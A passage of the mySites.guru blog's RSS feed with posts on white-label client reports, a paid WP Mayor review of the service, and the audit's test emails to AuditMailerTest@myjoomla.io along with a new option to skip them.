&lt;li&gt;&lt;strong&gt;Report sections&lt;/strong&gt; - toggle sections on or off, hide individual log rows you don&apos;t want&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Email recipients&lt;/strong&gt; - send to unlimited email addresses&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS configuration&lt;/strong&gt; for sending from your own domain - we walk you through SPF and DKIM setup to remove the last trace of mySites.guru from outgoing emails. You can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; for a fully white-labelled admin experience
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Template customisation&lt;/strong&gt; - modify the report layout using the built-in sandboxed Twig template designer
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can you send reports from your own email address?&lt;/h2&gt;
&lt;p&gt;If you&apos;re sending monthly reports to clients, you probably don&apos;t want them coming from a mySites.guru address. We get that.&lt;/p&gt;
&lt;p&gt;Setting up SPF and DKIM DNS records for your domain lets mySites.guru send emails that appear to come from your own address. The setup is guided - follow the instructions, get three green ticks, and from that point on every report email is sent &quot;from&quot; you.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;No mail credentials needed&lt;/p&gt;
  &lt;p&gt;mySites.guru does not need your email password, mail server details, or mailbox access. The SPF and DKIM records authorise our mail servers to send on your domain&apos;s behalf - that&apos;s all.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What does the report contain?&lt;/h2&gt;
&lt;p&gt;Every section is toggleable - include only what matters for each client. The main sections are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Site screenshot&lt;/li&gt;
&lt;li&gt;Uptime summary and uptime log&lt;/li&gt;
&lt;li&gt;Extension updates available&lt;/li&gt;
&lt;li&gt;Backup information&lt;/li&gt;
&lt;li&gt;Site activity log&lt;/li&gt;
&lt;li&gt;CMS and PHP version numbers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The site activity log captures events like admin logins and logouts, user modifications, file changes, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;security audits&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;extension upgrades&lt;/a&gt;, backup events, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;downtime events&lt;/a&gt;, extension installs and removals, tool applications, and configuration changes.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example site activity log&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example uptime summary&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Customise the template with HTML and Twig&lt;/h2&gt;
&lt;p&gt;The built-in template designer lets you modify the standard report template using HTML and &lt;a href=&quot;https://twig.symfony.com&quot;&gt;Twig&lt;/a&gt; &lt;code&gt;{{ placeholder }}&lt;/code&gt; tags. If you can write HTML, you can fully brand the report - change the layout, add your logo, adjust colours, restructure sections.&lt;/p&gt;
&lt;p&gt;For more on the template designer, see our guide to &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;creating custom white-label report templates&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why HTML instead of PDF?&lt;/h2&gt;
&lt;p&gt;Generating PDFs that look good across all page sizes, handle variable-length data tables, and work on every device is surprisingly painful. PDFs are page-size-specific (A4 in the UK, Letter in the US), and require readers to have PDF software installed.&lt;/p&gt;
&lt;p&gt;HTML has none of these problems:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every email client renders HTML&lt;/li&gt;
&lt;li&gt;HTML is responsive on mobile devices&lt;/li&gt;
&lt;li&gt;HTML is fully customisable by you&lt;/li&gt;
&lt;li&gt;Print stylesheets handle the &quot;I need a hard copy&quot; case&lt;/li&gt;
&lt;li&gt;Reports are attached as downloadable &lt;code&gt;.html&lt;/code&gt; files you can archive or forward&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Where do you find reports in mySites.guru?&lt;/h2&gt;
&lt;p&gt;Reports live under the &lt;strong&gt;Scheduled Actions&lt;/strong&gt; section in the left menu. You can also press &lt;code&gt;r&lt;/code&gt; on your keyboard when logged in to jump straight to the &lt;a href=&quot;https://manage.mysites.guru/en/reports/&quot;&gt;reports page&lt;/a&gt;, or use the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; with Cmd+K and type &quot;reports&quot;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How much do unlimited client reports cost?&lt;/h2&gt;
&lt;p&gt;Nothing extra. White-label reporting is included in every &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscription&lt;/a&gt; at no additional charge. Same goes for every other feature - you get the full platform with unlimited sites.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Can you download and archive your reports?&lt;/h2&gt;
&lt;p&gt;Every scheduled report email includes the report as an attached HTML file. You can download it, archive it, forward it, or edit it outside of mySites.guru. You can also download report files directly from the reports page in your account using the download button.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;White-label reporting is part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>reports</category><category>white-label</category><category>agency tools</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/reports-1024x538.Dwq8VCya.webp" length="0" type="image/webp"/></item><item><title>WP Mayor&apos;s Five-Star Review of mySites.guru for WordPress</title><link>https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/</guid><description>WP Mayor gave mySites.guru a five-star rating after a month of hands-on testing. Here&apos;s what reviewer Kevin Wood found.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>
&lt;p&gt;In March 2024, the well-known WordPress blog &lt;a href=&quot;https://wpmayor.com&quot;&gt;WP Mayor&lt;/a&gt; published an independent review of mySites.guru.&lt;/p&gt;
&lt;p&gt;We gave them complete access to the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;full toolset&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; for almost a month, with &lt;a href=&quot;https://wpmayor.com/disclosure/&quot;&gt;full permission to write whatever they wanted&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The reviewer was &lt;a href=&quot;https://wpmayor.com/author/kevin-wood/&quot;&gt;Kevin Wood&lt;/a&gt;, who has over 10 years of WordPress experience.&lt;/p&gt;
&lt;p&gt;Kevin liked what he saw, and goes into detail in the review. The only correction we asked for was the price currency conversion - &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru is GBP 19.99 per month&lt;/a&gt;, roughly USD $28 for unlimited sites.&lt;/p&gt;
&lt;h2&gt;Where can you read the WP Mayor review of mySites.guru?&lt;/h2&gt;
&lt;p&gt;You can read the complete review here: &lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot;&gt;mySites.guru Review on WP Mayor&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This review was performed as part of a paid product analysis. &lt;a href=&quot;https://wpmayor.com/disclosure/&quot;&gt;Here&apos;s why you can trust their verdict&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The review covers the core mySites.guru features: &lt;a href=&quot;https://mysites.guru/&quot;&gt;managing multiple WordPress sites in one dashboard&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit toolset&lt;/a&gt;, individual site management, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;WordPress site audit&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin upgrades&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label reporting&lt;/a&gt;, and our &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Learn More best-practice pages&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What are our thoughts on the review?&lt;/h2&gt;
&lt;p&gt;The review sums up the mySites.guru service well.&lt;/p&gt;
&lt;p&gt;Handing someone free rein to write whatever they want about a project you&apos;ve poured over a decade into? Nerve-wracking. But I&apos;m pleased the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features of mySites.guru&lt;/a&gt; and the support I provide came through.&lt;/p&gt;
&lt;p&gt;There&apos;s always stuff to improve. I&apos;m here day in, day out working on it, and the price hasn&apos;t changed since 2012.&lt;/p&gt;
&lt;p&gt;Kevin noted that parts of mySites.guru can feel complex for beginners. Fair enough. It&apos;s built for digital agencies that &lt;a href=&quot;https://mysites.guru/&quot;&gt;manage dozens or hundreds of WordPress sites&lt;/a&gt; - not someone spinning up their first blog.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Want to try mySites.guru free for a whole month?&lt;/h2&gt;
&lt;p&gt;Get started with a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free first month&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;h2&gt;Want a free personal site audit of your WordPress site?&lt;/h2&gt;
&lt;p&gt;Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on your WordPress site and see what mySites.guru finds.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>reviews</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-Review.BBu_qAxt.webp" length="0" type="image/webp"/></item><item><title>Emails from AuditMailerTest@myjoomla.io</title><link>https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/</link><guid isPermaLink="true">https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/</guid><description>Explains why you may receive test emails from AuditMailerTest@myjoomla.io and what they mean for your mySites.guru audit notifications.</description><pubDate>Tue, 12 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Several people have noticed emails from AuditMailerTest@myjoomla.io in their Mail sent items.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;At the start of every &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru audit&lt;/a&gt; we use the Joomla/WordPress Configuration for Mail settings (whatever you have your Joomla/WordPress site configured for sending mail) to send a short email to AuditMailerTest@myjoomla.io&lt;/p&gt;
&lt;p&gt;(&lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;myJoomla was the initial name for the mySites.guru service&lt;/a&gt;, before we added support for WordPress sites, at that point &lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;we changed brand to mySites.guru&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;If we receive this then we flag that in the audit results as a success, if the email doesn&apos;t arrive then we flag that as a failure and something to investigate.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This is a valid test to ensure your site can send emails.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now, the server that receives these emails is not a real SMTP server, its a PHP script that pretends its a SMTP server, converts the incoming email to JSON and sends it back to mySites.guru for processing.&lt;/p&gt;
&lt;p&gt;If we don&apos;t receive the email then that is flagged in the mySites.guru audit - because &lt;strong&gt;it would mean that your Joomla/WordPress site could not send email&lt;/strong&gt; using its configured method of sending emails... - &lt;strong&gt;if your site cannot send email that might mean you are losing emails!&lt;/strong&gt; See &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to diagnose and fix your email configuration&lt;/a&gt; for a full walkthrough.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you can see these emails in your Mail Clients &quot;sent items&quot; folder it probably also means you are reusing your credentials from your mail account with your site - this is bad and should be changed - if your Joomla/WordPress site ever was hacked (like every Joomla 4 version was exploitable to expose configuration.php values, except the latest few!) then the hacker would have full control over your mail account too - gulp! Beyond configuration files, hackers often leave behind &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files you&apos;d never spot without a dedicated scan&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Normally you would set up and use a separate outgoing mail account for your Joomla/WordPress site if needed, normally a web server can be correctly configured to send mail without sending by SMTP. Personally we recommend using a SMTP service like &lt;a href=&quot;https://PostMarkApp.com&quot;&gt;PostMarkApp.com&lt;/a&gt; which provides better outgoing deliverability and visibility of sent emails. For a complete walkthrough of SMTP settings, common mistakes, and DNS configuration, see the full guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to verify your Joomla email configuration&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are receiving bounce backs or server spam error messages - then &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;check your outgoing mail settings&lt;/a&gt; - because if you are bouncing or spam flagging our emails, you are probably also flagging emails that are genuinely sent from your site.&lt;/p&gt;
&lt;h2&gt;You can now turn this test off, per site&lt;/h2&gt;
&lt;p&gt;For years my answer to &quot;how do I stop these emails?&quot; was that you couldn&apos;t, short of cancelling or never running another audit. Enough of you came back with a fair reason, usually that the site never sends email at all or the host blocks outbound mail, so there is now a switch for it.&lt;/p&gt;
&lt;p&gt;Open the site in mySites.guru, click Config, and on the Advanced tab you will find Test Your Site&apos;s Email Settings with a &lt;strong&gt;Skip the email test&lt;/strong&gt; toggle. Turn it on and two things happen: we stop asking that site to send the test email, and the Email Configuration row disappears from its audit results.&lt;/p&gt;
&lt;p&gt;Worth knowing before you reach for it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is per site, not account-wide. Switch it off on the one awkward site rather than across everything.&lt;/li&gt;
&lt;li&gt;It is off by default, so nothing changes on any site you don&apos;t touch.&lt;/li&gt;
&lt;li&gt;It takes effect on that site&apos;s next connector update, usually within 24 hours, so you may get one more test email after you flip it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I have not removed the check, and I would still rather you left it on. A site that cannot send email is usually a site losing contact form submissions, order confirmations and password resets without anyone noticing, and this test is the cheapest way to find that out before your customers do. But if you already know a site never sends email, there is no point in me proving it every audit.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>email</category><category>security audits</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/emails-from-auditmailertest-myjoomla-io.C-eOu2wu.png" length="0" type="image/png"/></item></channel></rss>